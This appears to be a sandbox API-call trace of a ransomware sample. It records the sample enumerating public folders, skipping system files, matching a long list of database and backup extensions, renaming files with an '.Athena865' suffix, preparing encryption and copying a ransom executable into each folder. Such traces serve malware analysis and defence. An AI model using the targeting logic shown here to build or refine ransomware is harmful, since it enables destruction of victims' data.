lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0054.220] lstrlenW (lpString="teacher") returned 7 [0054.220] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0054.220] lstrlenW (lpString="tmd") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0054.220] lstrlenW (lpString="tps") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0054.220] lstrlenW (lpString="trc") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.220] lstrlenW (lpString="trc") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0054.220] lstrlenW (lpString="trm") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0054.220] lstrlenW (lpString="udb") returned 3 [0054.220] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0054.220] lstrlenW (lpString="udl") returned 3 [0054.221] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0054.221] lstrlenW (lpString="usr") returned 3 [0054.221] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0054.221] lstrlenW (lpString="v12") returned 3 [0054.221] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0054.221] lstrlenW (lpString="vis") returned 3 [0054.221] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0054.221] lstrlenW (lpString="vpd") returned 3 [0054.221] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0054.221] lstrlenW (lpString="vvv") returned 3 [0054.221] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0054.221] lstrlenW (lpString="wdb") returned 3 [0054.221] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0054.221] lstrlenW (lpString="wmdb") returned 4 [0054.221] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0054.221] lstrlenW (lpString="wrk") returned 3 [0054.221] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0054.221] lstrlenW (lpString="xdb") returned 3 [0054.221] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0054.221] lstrlenW (lpString="xld") returned 3 [0054.221] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0054.221] lstrlenW (lpString="xmlff") returned 5 [0054.221] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0054.221] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Libraries\\desktop.ini.Athena865") returned 64 [0054.221] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Libraries\\desktop.ini" (normalized: "c:\\documents and settings\\public\\libraries\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Public\\Libraries\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\libraries\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0054.222] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Libraries\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\libraries\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0054.222] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=88) returned 1 [0054.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0054.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519e60 [0054.222] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519ee8) returned 1 [0054.223] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.223] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.223] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x360, lpName=0x0) returned 0x154 [0054.228] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x360) returned 0x100000 [0054.228] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519ee8) returned 1 [0054.229] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.229] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0054.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0054.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.230] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.230] CloseHandle (hObject=0x154) returned 1 [0054.230] CloseHandle (hObject=0x17c) returned 1 [0054.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0054.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519e60 | out: hHeap=0x4f0000) returned 1 [0054.230] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.230] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2d4540, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd2d4540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.230] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.230] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1 [0054.230] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.230] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.230] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".") returned 1 [0054.230] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="..") returned 1 [0054.230] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="windows") returned -1 [0054.230] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="bootmgr") returned 1 [0054.230] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="temp") returned -1 [0054.230] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="pagefile.sys") returned 1 [0054.230] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="boot") returned 1 [0054.230] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="ids.txt") returned 1 [0054.230] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="ntuser.dat") returned 1 [0054.230] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="perflogs") returned 1 [0054.231] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2="MSBuild") returned 1 [0054.231] lstrlenW (lpString="RecordedTV.library-ms") returned 21 [0054.231] lstrcpyW (in: lpString1=0x241e89e, lpString2="RecordedTV.library-ms" | out: lpString1="RecordedTV.library-ms") returned="RecordedTV.library-ms" [0054.231] lstrlenW (lpString="RecordedTV.library-ms") returned 21 [0054.231] lstrlenW (lpString="Athena865") returned 9 [0054.231] lstrcmpiW (lpString1="ibrary-ms", lpString2="Athena865") returned 1 [0054.231] lstrlenW (lpString=".dll") returned 4 [0054.231] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".dll") returned 1 [0054.231] lstrlenW (lpString=".lnk") returned 4 [0054.231] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".lnk") returned 1 [0054.231] lstrlenW (lpString=".ini") returned 4 [0054.231] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".ini") returned 1 [0054.231] lstrlenW (lpString=".sys") returned 4 [0054.231] lstrcmpiW (lpString1="RecordedTV.library-ms", lpString2=".sys") returned 1 [0054.231] lstrlenW (lpString="RecordedTV.library-ms") returned 21 [0054.231] lstrlenW (lpString="bak") returned 3 [0054.231] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0054.231] lstrlenW (lpString="ba_") returned 3 [0054.231] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0054.231] lstrlenW (lpString="dbb") returned 3 [0054.231] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0054.231] lstrlenW (lpString="vmdk") returned 4 [0054.231] lstrcmpiW (lpString1="y-ms", lpString2="vmdk") returned 1 [0054.231] lstrlenW (lpString="rar") returned 3 [0054.231] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0054.231] lstrlenW (lpString="zip") returned 3 [0054.231] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0054.231] lstrlenW (lpString="tgz") returned 3 [0054.231] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0054.231] lstrlenW (lpString="vbox") returned 4 [0054.231] lstrcmpiW (lpString1="y-ms", lpString2="vbox") returned 1 [0054.231] lstrlenW (lpString="vdi") returned 3 [0054.231] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0054.231] lstrlenW (lpString="vhd") returned 3 [0054.232] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0054.232] lstrlenW (lpString="vhdx") returned 4 [0054.232] lstrcmpiW (lpString1="y-ms", lpString2="vhdx") returned 1 [0054.232] lstrlenW (lpString="avhd") returned 4 [0054.232] lstrcmpiW (lpString1="y-ms", lpString2="avhd") returned 1 [0054.232] lstrlenW (lpString="db") returned 2 [0054.232] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0054.232] lstrlenW (lpString="db2") returned 3 [0054.232] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0054.232] lstrlenW (lpString="db3") returned 3 [0054.232] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0054.232] lstrlenW (lpString="dbf") returned 3 [0054.232] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0054.232] lstrlenW (lpString="mdf") returned 3 [0054.232] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0054.232] lstrlenW (lpString="mdb") returned 3 [0054.232] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0054.232] lstrlenW (lpString="sql") returned 3 [0054.232] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0054.232] lstrlenW (lpString="sqlite") returned 6 [0054.232] lstrcmpiW (lpString1="ary-ms", lpString2="sqlite") returned -1 [0054.232] lstrlenW (lpString="sqlite3") returned 7 [0054.232] lstrcmpiW (lpString1="rary-ms", lpString2="sqlite3") returned -1 [0054.232] lstrlenW (lpString="sqlitedb") returned 8 [0054.232] lstrcmpiW (lpString1="brary-ms", lpString2="sqlitedb") returned -1 [0054.232] lstrlenW (lpString="xml") returned 3 [0054.232] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0054.232] lstrlenW (lpString="$er") returned 3 [0054.232] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0054.232] lstrlenW (lpString="4dd") returned 3 [0054.232] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0054.232] lstrlenW (lpString="4dl") returned 3 [0054.232] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0054.232] lstrlenW (lpString="^^^") returned 3 [0054.233] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0054.233] lstrlenW (lpString="abs") returned 3 [0054.233] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0054.233] lstrlenW (lpString="abx") returned 3 [0054.233] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0054.233] lstrlenW (lpString="accdb") returned 5 [0054.233] lstrcmpiW (lpString1="ry-ms", lpString2="accdb") returned 1 [0054.233] lstrlenW (lpString="accdc") returned 5 [0054.233] lstrcmpiW (lpString1="ry-ms", lpString2="accdc") returned 1 [0054.233] lstrlenW (lpString="accde") returned 5 [0054.233] lstrcmpiW (lpString1="ry-ms", lpString2="accde") returned 1 [0054.233] lstrlenW (lpString="accdr") returned 5 [0054.233] lstrcmpiW (lpString1="ry-ms", lpString2="accdr") returned 1 [0054.233] lstrlenW (lpString="accdt") returned 5 [0054.233] lstrcmpiW (lpString1="ry-ms", lpString2="accdt") returned 1 [0054.233] lstrlenW (lpString="accdw") returned 5 [0054.233] lstrcmpiW (lpString1="ry-ms", lpString2="accdw") returned 1 [0054.233] lstrlenW (lpString="accft") returned 5 [0054.233] lstrcmpiW (lpString1="ry-ms", lpString2="accft") returned 1 [0054.233] lstrlenW (lpString="adb") returned 3 [0054.233] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0054.233] lstrlenW (lpString="adb") returned 3 [0054.233] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0054.233] lstrlenW (lpString="ade") returned 3 [0054.233] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0054.233] lstrlenW (lpString="adf") returned 3 [0054.233] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0054.233] lstrlenW (lpString="adn") returned 3 [0054.233] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0054.233] lstrlenW (lpString="adp") returned 3 [0054.233] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0054.233] lstrlenW (lpString="alf") returned 3 [0054.233] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0054.233] lstrlenW (lpString="ask") returned 3 [0054.233] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0054.233] lstrlenW (lpString="btr") returned 3 [0054.234] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0054.234] lstrlenW (lpString="cat") returned 3 [0054.234] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0054.234] lstrlenW (lpString="cdb") returned 3 [0054.234] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0054.234] lstrlenW (lpString="ckp") returned 3 [0054.234] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0054.234] lstrlenW (lpString="cma") returned 3 [0054.234] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0054.234] lstrlenW (lpString="cpd") returned 3 [0054.234] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0054.234] lstrlenW (lpString="dacpac") returned 6 [0054.234] lstrcmpiW (lpString1="ary-ms", lpString2="dacpac") returned -1 [0054.234] lstrlenW (lpString="dad") returned 3 [0054.234] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0054.234] lstrlenW (lpString="dadiagrams") returned 10 [0054.234] lstrcmpiW (lpString1="library-ms", lpString2="dadiagrams") returned 1 [0054.234] lstrlenW (lpString="daschema") returned 8 [0054.234] lstrcmpiW (lpString1="brary-ms", lpString2="daschema") returned -1 [0054.234] lstrlenW (lpString="db-journal") returned 10 [0054.234] lstrcmpiW (lpString1="library-ms", lpString2="db-journal") returned 1 [0054.234] lstrlenW (lpString="db-shm") returned 6 [0054.234] lstrcmpiW (lpString1="ary-ms", lpString2="db-shm") returned -1 [0054.234] lstrlenW (lpString="db-wal") returned 6 [0054.234] lstrcmpiW (lpString1="ary-ms", lpString2="db-wal") returned -1 [0054.234] lstrlenW (lpString="dbc") returned 3 [0054.234] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0054.234] lstrlenW (lpString="dbs") returned 3 [0054.234] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0054.234] lstrlenW (lpString="dbt") returned 3 [0054.234] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0054.234] lstrlenW (lpString="dbv") returned 3 [0054.234] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0054.234] lstrlenW (lpString="dbx") returned 3 [0054.234] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0054.235] lstrlenW (lpString="dcb") returned 3 [0054.235] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0054.235] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1 [0054.235] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Libraries\\RecordedTV.library-ms.Athena865") returned 74 [0054.235] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\documents and settings\\public\\libraries\\recordedtv.library-ms"), lpNewFileName="C:\\Documents and Settings\\Public\\Libraries\\RecordedTV.library-ms.Athena865" (normalized: "c:\\documents and settings\\public\\libraries\\recordedtv.library-ms.athena865"), dwFlags=0x1) returned 1 [0054.235] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Libraries\\RecordedTV.library-ms.Athena865" (normalized: "c:\\documents and settings\\public\\libraries\\recordedtv.library-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0054.236] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=876) returned 1 [0054.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0054.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519e60 [0054.236] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519ee8) returned 1 [0054.237] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.237] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.237] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x670, lpName=0x0) returned 0x154 [0054.238] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x670) returned 0x100000 [0054.239] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519ee8) returned 1 [0054.240] CryptGenRandom (in: hProv=0x519ee8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0054.240] CryptReleaseContext (hProv=0x519ee8, dwFlags=0x0) returned 1 [0054.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0054.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0054.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0054.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0054.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0054.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0054.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0054.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0054.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0054.241] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0054.241] CloseHandle (hObject=0x154) returned 1 [0054.241] CloseHandle (hObject=0x17c) returned 1 [0054.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0054.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519e60 | out: hHeap=0x4f0000) returned 1 [0054.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0054.241] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 0 [0054.241] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.241] ReleaseMutex (hMutex=0xec) returned 1 [0054.241] CloseHandle (hObject=0xec) returned 1 [0054.241] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Public\\Music" | out: lpString1="C:\\Documents and Settings\\Public\\Music") returned="C:\\Documents and Settings\\Public\\Music" [0054.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515c38 | out: hHeap=0x4f0000) returned 1 [0054.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cf48 | out: hHeap=0x4f0000) returned 1 [0054.241] lstrlenW (lpString="C:\\Documents and Settings\\Public\\Music") returned 38 [0054.241] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C7985FBA6019C56671C0465B554A45D1") returned 0xec [0054.241] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.242] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Public\\Music" | out: lpString1="C:\\Documents and Settings\\Public\\Music") returned="C:\\Documents and Settings\\Public\\Music" [0054.242] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.242] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\music\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.242] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\public\\music\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.242] GetLastError () returned 0x0 [0054.242] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.242] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.243] CloseHandle (hObject=0xf4) returned 1 [0054.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.243] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.243] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Public\\Music\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2d4540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2d4540, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.243] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.243] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.243] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.243] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd2d4540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd2d4540, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.244] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.244] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.244] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.244] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.244] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.244] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0054.244] 